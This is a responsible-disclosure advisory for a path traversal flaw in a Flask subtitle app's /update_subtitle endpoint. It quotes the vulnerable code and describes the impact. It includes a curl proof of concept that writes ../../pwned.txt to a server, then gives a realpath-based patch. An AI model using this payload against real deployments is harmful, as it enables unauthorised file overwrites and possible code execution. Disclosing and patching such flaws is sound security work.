
Path Traversal vulnerability in TahaBakhtari/SubtitleGenerator - CVE-2026-51592
A path traversal vulnerability exists in the /update_subtitle endpoint of
TahaBakhtari/SubtitleGenerator.
The endpoint accepts a file_name parameter from an unauthenticated client and
joins it with a fixed base directory using os.path.join() without sanitizing
path traversal sequences. As a result, a remote, unauthenticated attacker can
write arbitrary files outside the intended data/subtitles/ directory,
within the permissions of the running process.
2e2553a (latest at time of testing)app.py, update_subtitle function (lines 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
The file_name parameter is used to build a file path without any validation.
An attacker can supply a value such as ../../pwned.txt to escape the
data/subtitles/ directory and write to an arbitrary location the process
has write access to.
By default, the application binds to 0.0.0.0:5000 (see app.py), meaning
it is reachable over the network and not restricted to localhost.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Arbitrary file write within the permissions of the Flask process
Overwriting of existing configuration or application files
Potential overwrite of application source files (e.g. app.py),
which could lead to code execution on next restart
Denial of Service through corruption of critical files
Attack vector: Remote
Authentication required: No
User interaction required: No
Severity (preliminary): High
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Response:
{"status": "success", "message": "..."}
Verification on the server:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
The file pwned.txt is written to the project's root directory, two levels
above the intended data/subtitles/ directory — confirming the path
traversal.
See poc.sh for a runnable version of this proof of concept.
Validate that the resolved path stays within data/subtitles/ using
os.path.realpath() before opening the file:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
This ensures the resulting path always resolves inside data/subtitles/,
effectively blocking traversal sequences such as ../../.
The full patch is available in patch.diff. This fix was implemented and
verified against a local test instance: the same payload used in the PoC
above now returns an "invalid filename" error instead of writing the file.
Discovered and reported by Arda Kuruoglu.
This vulnerability was disclosed following a 90-day responsible disclosure timeline, starting from the date of the initial report to the maintainer.
README.md — this write-uppoc.sh — proof-of-concept script demonstrating the vulnerabilitypatch.diff — suggested patch, validated against a local test instanceThis write-up and accompanying files are released under the MIT License.